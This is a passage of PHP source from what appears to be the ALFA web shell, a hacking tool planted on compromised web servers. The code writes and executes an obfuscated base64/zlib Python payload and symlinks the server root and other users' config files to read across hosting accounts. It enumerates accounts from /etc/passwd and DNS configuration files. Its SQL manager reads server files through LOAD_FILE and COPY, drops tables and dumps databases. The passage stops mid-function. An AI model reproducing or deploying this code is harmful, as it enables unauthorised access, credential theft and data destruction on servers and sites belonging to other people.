        $py = "#!/usr/bin/python\nimport zlib, base64\nalfa_data='ALFA_DATA'\neval(compile(zlib.decompress(base64.b64decode(\"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\")),'<string>','exec'))";
        $cginame = "symperl.alfa";
        $source = $perl;
        $lang = "perl";
        if ($_POST["alfa2"] == "sympy") {
            $cginame = "pysymlink.alfa";
            $source = $py;
            $lang = "python";
        }
        @__write_file($cginame, $source);
        @chmod($cginame, 0755);
        echo __pre();
        $resource = alfaEx("{$lang} {$cginame} {$sympath}", false, true, true);
        if (strlen($resource) == 0) {
            echo AlfaiFrameCreator('cgialfa/' . $cginame);
        } else {
            echo $resource;
        }
    }
    if (isset($_POST['alfa4']) && $_POST['alfa4'] == 'SymFile') {
        if (function_exists('symlink') || _alfa_can_runCommand(true, true)) {
            AlfaNum(9, 10);
            echo __pre() . '
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
            $path = $_POST['alfa5'];
            $symname = $_POST['alfa6'];
            $solevisible58 = $_POST['alfa7'];
            if ($solevisible58) {
                $new_name = str_replace(".", "_", basename($symname));
                $rand_dir = $new_name . rand(111, 9999);
                $sym_dir = 'alfasymlinkphp/' . $rand_dir . '/';
                @mkdir($sym_dir, 0777, true);
                alfacgihtaccess('sym', $sym_dir, $symname);
                _alfa_symlink("{$path}", "{$sym_dir}/{$symname}");
                echo __pre();
                echo "<center><b><font color=\"white\">Click >> </font><a target=\"_blank\" href=\"ALFA_DATA/" . $sym_dir . '" ><b><font size="4">' . $symname . '</font></b></a></b></center>';
            }
        } else {
            echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
        }
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'symphp') {
        $cant_symlink = true;
        if (function_exists('symlink') || _alfa_can_runCommand(false, false)) {
            @mkdir('alfasymlink', 0777);
            alfacgihtaccess('sym', 'alfasymlink/');
            _alfa_symlink('/', 'alfasymlink/root');
            $table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
            if (_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")) {
                echo "<center>";
                $lines = array();
                $anony_domains = array();
                $anonymous_users = array();
                $f_black = array();
                $error = false;
                $anonymous = false;
                $makepwd = "/home/{user}/public_html/";
                $domains = alfaGetDomains();
                $lines = $domains["lines"];
                $state = $domains["state"];
                $is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
                $can_runcmd = _alfa_can_runCommand(false, false);
                if (!$is_posix && !$can_runcmd) {
                    $anonymous = true;
                    $anony_domains = $domains["lines"];
                    $lines = _alfa_file('/etc/passwd');
                }
                echo $table_header;
                $count = 1;
                $template = "<tr><td><span style=\"color:#FFFF01;\">{count}</span></td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"{http}\"/><span style=\"color:#00A220;margin-left:10px;\"><b>{domain}</b> </a></span></td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{owner}</font></b></td><td><a href=\"ALFA_DATA/alfasymlink/root{sympath}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink</span></a></td></tr>";
                foreach ($lines as $line) {
                    $domain = "";
                    $owner = "";
                    if ($anonymous) {
                        $explode = explode(":", $line);
                        $owner = $explode[0];
                        $owner_len = strlen($owner) - 1;
                        $userid = $explode[2];
                        if ((int) $userid < 500) {
                            continue;
                        }
                        $domain = "[?????]";
                        $temp_black = array();
                        $finded = false;
                        foreach ($anony_domains as $anony) {
                            if ($state == "named.conf") {
                                if (@strstr($anony, 'zone')) {
                                    preg_match_all('#zone "(.*)"#', $anony, $data);
                                    $domain = $data[1][0];
                                } else {
                                    continue;
                                }
                            } elseif ($state == "named" || $state == "valiases") {
                                if ($anony == "." || $anony == "..") {
                                    continue;
                                }
                                if ($state == "named") {
                                    $anony = rtrim($anony, ".db");
                                }
                                $domain = $anony;
                            }
                            $sub_domain = str_replace(array("-", "."), "", $domain);
                            if (substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)) {
                                if (in_array($owner . $domain, $temp_black)) {
                                    continue;
                                }
                                $sympath = str_replace("{user}", $owner, $makepwd);
                                $http = "http://" . $domain;
                                echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
                                $count++;
                                $temp_black[] = $owner . $domain;
                                $finded = true;
                            }
                        }
                        if (!$finded) {
                            $anonymous_users[] = $owner;
                        }
                    } else {
                        if ($state == "named.conf") {
                            if (@strstr($line, 'zone')) {
                                preg_match_all('#zone "(.*)"#', $line, $data);
                                $domain = $data[1][0];
                            } else {
                                continue;
                            }
                        } elseif ($state == "named" || $state == "valiases") {
                            if ($line == "." || $line == "..") {
                                continue;
                            }
                            if ($state == "named") {
                                $line = rtrim($line, ".db");
                            }
                            $domain = $line;
                        }
                        if (strlen(trim($domain)) > 2 && $state != "passwd") {
                            if (!_alfa_file_exists('/etc/valiases/' . $domain, false)) {
                                continue;
                            }
                            if ($is_posix) {
                                $user = @posix_getpwuid(@fileowner('/etc/valiases/' . $domain));
                                $owner = $user["name"];
                            } elseif ($can_runcmd) {
                                $owner = alfaEx("stat -c '%U' /etc/valiases/" . $domain, false, false);
                            }
                        }
                    }
                    if (!$anonymous) {
                        if (strlen($owner) == 0 || in_array($owner . $domain, $f_black)) {
                            continue;
                        }
                        $sympath = str_replace("{user}", $owner, $makepwd);
                        $http = "http://" . $domain;
                        if ($state == "passwd") {
                            $http = "javascript:alert('we cant find domain...')";
                        }
                        echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
                        $count++;
                        $f_black[] = $owner . $domain;
                    }
                }
                if ($anonymous) {
                    foreach ($anonymous_users as $owner) {
                        $sympath = str_replace("{user}", $owner, $makepwd);
                        $http = "javascript:alert('we cant find domain...')";
                        echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
                        $count++;
                    }
                }
                $cant_symlink = false;
            } else {
                $is_direct = false;
                $makepwd = alfaMakePwd();
                if (_alfa_file_exists("/etc/virtual/domainowners")) {
                    $makepwd = "/home/{user}/public_html";
                    $is_direct = true;
                }
                $sole = _alfa_file("/etc/virtual/domainowners");
                $count = 1;
                echo $table_header;
                $template = "<tr><td><span style=\"color:#FFFF01;\">{count}</span></td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"http://www.{url}\"/><span style=\"color:#00A220;margin-left:10px;\"><b>{url}</b> </a></span></td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{user}</font></b></td><td><a href=\"ALFA_DATA/alfasymlink/root{cwd}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink</span></a></td></tr>";
                if ($sole) {
                    foreach ($sole as $visible) {
                        if (@strstr($visible, ":")) {
                            $solevisible = explode(':', $visible);
                            $cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
                            echo str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
                        }
                    }
                } else {
                    $passwd = _alfa_file("/etc/passwd");
                    if ($passwd) {
                        $html = "";
                        $is_named = false;
                        $users = array();
                        $domains = array();
                        $uknowns = array();
                        foreach ($passwd as $user) {
                            $user = trim($user);
                            $expl = explode(":", $user);
                            if ((int) $expl[2] < 500) {
                                continue;
                            }
                            $users[$expl[0]] = $expl[5];
                        }
                        $site_domains = @scandir("/etc/virtual/");
                        if (!$site_domains) {
                            $site_domains = alfaEx("ls /etc/virtual/");
                            $site_domains = explode("\n", $site_domains);
                            if (!$site_domains) {
                                $site_domains = _alfa_file("/etc/named.conf");
                                if ($site_domains) {
                                    $is_named = true;
                                }
                            }
                        }
                        foreach ($site_domains as $line) {
                            if ($is_named) {
                                if (@strstr($line, 'zone')) {
                                    preg_match_all('#zone "(.*)"#', $line, $data);
                                    $domain = $data[1][0];
                                    if (strlen($domain > 2) && !empty($domain)) {
                                        $domains[] = $domain;
                                    }
                                }
                            } else {
                                $domains[] = $line;
                            }
                        }
                        $x = 1;
                        foreach ($users as $user => $home) {
                            foreach ($domains as $domain) {
                                $user_len = strlen($user) - 1;
                                $sub_domain = str_replace(array("-", "."), "", $domain);
                                $five_user = substr($user, 0, $user_len);
                                $five_domain = substr($sub_domain, 0, $user_len);
                                if ($five_user == $five_domain) {
                                    if ($is_direct) {
                                        $cwd = str_replace("{user}", $user, $makepwd);
                                    } else {
                                        $expl = explode("}/", $makepwd);
                                        $cwd = $home . "/" . $expl[1];
                                    }
                                    $html .= str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
                                } else {
                                    $uknowns[$user] = $home;
                                }
                            }
                        }
                        $uknowns = array_unique($uknowns);
                        foreach ($uknowns as $user => $home) {
                            if ($is_direct) {
                                $cwd = str_replace("{user}", $user, $makepwd);
                            } else {
                                $expl = explode("}/", $makepwd);
                                $cwd = $home . "/" . $expl[1];
                            }
                            $html .= str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
                        }
                        echo $html;
                    }
                }
                echo "</table>";
                $cant_symlink = false;
            }
        } else {
            echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
            $cant_symlink = false;
        }
        if ($cant_symlink) {
            echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><font color=\"#FFFFFF\">Error...</font></b><br>";
        }
        echo "</center></table>";
    }
    echo "</div>";
    alfafooter();
}
function alfasql()
{
    class DbClass
    {
        public $type;
        public $link;
        public $res;
        public $mysqli_connect_error = false;
        public $mysqli_connect_error_msg = "";
        function __construct($type)
        {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname)
        {
            switch ($this->type) {
                case 'mysql':
                    if ($this->link = @mysqli_connect($host, $user, $pass, $dbname)) {
                        return true;
                    } else {
                        $this->mysqli_connect_error = true;
                        $this->mysqli_connect_error_msg = mysqli_connect_error();
                        return false;
                    }
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if (!$host[1]) {
                        $host[1] = 5432;
                    }
                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function selectdb($db)
        {
            switch ($this->type) {
                case 'mysql':
                    if (@mysqli_select_db($db)) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function query($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = @mysqli_query($this->link, $str);
                case 'pgsql':
                    return $this->res = @pg_query($this->link, $str);
            }
            return false;
        }
        function fetch()
        {
            $res = func_num_args() ? func_get_arg(0) : $this->res;
            switch ($this->type) {
                case 'mysql':
                    return @mysqli_fetch_assoc($res);
                case 'pgsql':
                    return @pg_fetch_assoc($res);
            }
            return false;
        }
        function listDbs()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->query("SHOW databases");
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
            }
            return false;
        }
        function listTables()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
            }
            return false;
        }
        function error()
        {
            switch ($this->type) {
                case 'mysql':
                    return @mysqli_error($this->link);
                case 'pgsql':
                    return @pg_last_error();
            }
            return false;
        }
        function setCharset($str)
        {
            switch ($this->type) {
                case 'mysql':
                    if (function_exists('mysql_set_charset')) {
                        return @mysqli_set_charset($this->link, $str);
                    } else {
                        $this->query('SET CHARSET ' . $str);
                    }
                    break;
                case 'pgsql':
                    return @pg_set_client_encoding($this->link, $str);
            }
            return false;
        }
        function loadFile($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                case 'pgsql':
                    $this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '" . addslashes($str) . "';select file from solevisible;");
                    $r = array();
                    while ($i = $this->fetch()) {
                        $r[] = $i['file'];
                    }
                    $this->query('drop table solevisible');
                    return array('file' => implode("\n", $r));
            }
            return false;
        }
    }
    $db = new DbClass($_POST['type']);
    alfahead();
    $form_visibility = "table";
    if (isset($_POST['sql_host'])) {
        $connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        if ($connection_db && !empty($_POST['sql_base'])) {
            $form_visibility = "none";
        }
    }
    $database_list = array();
    echo "\r\n<div class='header' style='min-height:300px;'>" . ($form_visibility != "none" ? "<center><div class='txtfont_header'>| Sql Manager |</div><p>" . getConfigHtml('all') . "</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>" : "") . "\r\n<div class='sf' class='db-opt-id'><table style='margin: 0 auto;" . ($form_visibility == "none" ? "display:none;" : "") . "' cellpadding='2' cellspacing='0'><tr>\r\n<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>\r\n<td><select name='type'><option value='mysql' selected>mysql</option></select></td>\r\n<td><input type='text' name='sql_host' id='db_host' value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>\r\n<td><input type='text' name='sql_login' id='db_user' value='" . (empty($_POST['sql_login']) ? '' : htmlspecialchars($_POST['sql_login'])) . "'></td>\r\n<td><input type='text' name='sql_pass' id='db_pw' value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
    $tmp = "<input type='text' name='sql_base' id='db_name' value='" . (empty($_POST['sql_base']) ? '' : htmlspecialchars($_POST['sql_base'])) . "'>";
    if (isset($_POST['sql_host'])) {
        if ($connection_db) {
            $db->setCharset('utf8');
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while ($item = $db->fetch()) {
                list($key, $value) = each($item);
                $database_list[] = $value;
                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
            }
            echo "</select>";
        } else {
            echo $tmp;
        }
    } else {
        echo $tmp;
    }
    $curr_mysql_id = $_POST['current_mysql_id'];
    echo "</td>\r\n<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>\r\n<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>\r\n</tr>\r\n</table>";
    if ($db->mysqli_connect_error) {
        echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">' . $db->mysqli_connect_error_msg . '</div>';
    }
    if (!empty($curr_mysql_id)) {
        $sql_title_db = "";
        if (!empty($_POST['sql_base'])) {
            $sql_title_db = "d.querySelector('#tab_" . $curr_mysql_id . " span').innerHTML='" . addslashes($_POST['sql_base']) . "';";
        }
        echo "<script>mysql_cache['" . $curr_mysql_id . "']['host']='" . addslashes($_POST['sql_host']) . "';mysql_cache['" . $curr_mysql_id . "']['user']='" . addslashes($_POST['sql_login']) . "';mysql_cache['" . $curr_mysql_id . "']['pass']='" . addslashes($_POST['sql_pass']) . "';mysql_cache['" . $curr_mysql_id . "']['db']='" . addslashes($_POST['sql_base']) . "';mysql_cache['" . $curr_mysql_id . "']['charset']='" . addslashes($_POST['charset']) . "';mysql_cache['" . $curr_mysql_id . "']['type']='" . addslashes($_POST['type']) . "';mysql_cache['" . $curr_mysql_id . "']['count']='" . addslashes($_POST['sql_count']) . "';" . $sql_title_db . "alfaConnectionHistoryUpdate();</script>";
    }
    if (isset($db) && $db->link) {
        if (!empty($_POST['sql_base'])) {
            echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'>&#x3C;&#x3C;</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='" . (empty($_POST['sql_count']) ? "false" : "true") . "' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
            foreach ($database_list as $db_name) {
                echo '<li><div class="block"><i></i><b></b><a sql_count="' . (empty($_POST['sql_count']) ? "false" : "true") . '" db_target="' . $db_name . '" onclick="alfaMysqlExpander(this);" class="expander cls-' . $db_name . '-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/' . ($db_name == $_POST['sql_base'] ? "b_minus.png" : "b_plus.png") . '" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">' . $db_name . '</span><div class="clearfloat"></div><div db_name="' . $db_name . '" mode="' . ($db_name == $_POST['sql_base'] ? "loaded" : "no") . '" class="list_container cls-' . $db_name . '"><div>';
                if ($db_name == $_POST['sql_base']) {
                    $db->selectdb($_POST['sql_base']);
                    $tbls_res = $db->listTables();
                    echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-' . $db_name . '" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
                    while ($item = $db->fetch($tbls_res)) {
                        list($key, $value) = each($item);
                        if (!empty($_POST['sql_count'])) {
                            $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `' . $value . '`'));
                        }
                        $value = htmlspecialchars($value);
                        echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a class='db-opt-id' db_target='" . $db_name . "' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'" . $value . "')\"><span class='mysql_tables' style='font-weight:unset;'>" . $value . "</span></a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
                    }
                    echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-' . $db_name . '" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-' . $db_name . '" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="' . $db_name . '" target=".cls-' . $db_name . '" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
                }
                echo "</div></li>";
            }
            echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='" . $_POST['sql_base'] . "' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
        }
        echo "</table></div>";
        echo "</div>";
    } else {
        echo htmlspecialchars($db->error());
    }
    echo "</div>";
    alfafooter();
}
function alfaSql_manager_api()
{
    $db = $_POST["alfa1"];
    $type = $_POST["alfa2"];
    $sql_count = $_POST["alfa3"] == "true" ? true : false;
    $db = @json_decode($db, true);
    $conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
    @mysqli_set_charset($conn, "utf8");
    if ($conn) {
        if ($type == "load_all_tables") {
            $tables = array();
            $q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('" . implode("','", $db["databases"]) . "');");
            $count = 0;
            while ($row = @mysqli_fetch_assoc($q_tables)) {
                if ($sql_count) {
                    $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row["table_schema"] . '`.`' . $row["table_name"] . '`');
                    if ($count_q) {
                        $count = @mysqli_fetch_row($count_q);
                        $count = $count[0];
                    }
                }
                $tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int) $count);
            }
            foreach ($db["databases"] as $db) {
                if (!isset($tables[$db])) {
                    $tables[$db] = null;
                }
            }
            echo @json_encode($tables);
        } elseif ($type == "dump_drop") {
            if ($db["mode"] == "drop") {
                foreach ($db["tables"] as $table) {
                    @mysqli_query($conn, "DROP TABLE `" . $table . "`;");
                }
                $tables = array();
                $q_tables = @mysqli_query($conn, "SHOW TABLES;");
                $count = 0;
                while ($row = @mysqli_fetch_array($q_tables)) {
                    if ($sql_count) {
                        $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row[0] . '`');
                        if ($count_q) {
                            $count = @mysqli_fetch_row($count_q);
                            $count = $count[0];
                        }
                    }
                    $tables[] = array("name" => $row[0], "count" => (int) $count);
                }
                echo @json_encode($tables);
            } else {
                if (strlen(alfaEx("mysqldump")) > 0) {
                    alfaEx("mysqldump --single-transaction --host=\"" . $db["host"] . "\" --user=\"" . $db["user"] . "\" --password=\"" . $db["pass"] . "\" " . $db["db"] . " " . implode(" ", $db["tables"]) . "  > " . $db["dump_file"]);
                } else {
                    $fp = @fopen($db["dump_file"], "w");
                    foreach ($db["tables"] as $table) {
                        $res = @mysqli_query($conn, 'SHOW CREATE TABLE `' . $table . '`');
                        $create = @mysqli_fetch_array($res);
                        $sql = "DROP TABLE IF EXISTS `" . $table . "`;\n" . $create[1] . ";\n";
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                        $tbl_data = @mysqli_query($conn, 'SELECT * FROM `' . $table . '`');
                        $head = true;
                        while ($item = @mysqli_fetch_assoc($tbl_data)) {
                            $columns = array();
                            foreach ($item as $k => $v) {
                                if ($v == null) {
                                    $item[$k] = "''";
                                } elseif (is_numeric($v)) {
                                    $item[$k] = $v;
                                } else {
                                    $item[$k] = "'" . @mysqli_real_escape_string($conn, $v) . "'";
                                }
                                $columns[] = "`" . $k . "`";
                            }
                            if ($head) {
                                $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
                                $head = false;
                            } else {
                                $sql = "\n\t,(" . implode(", ", $item) . ')';
                            }
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
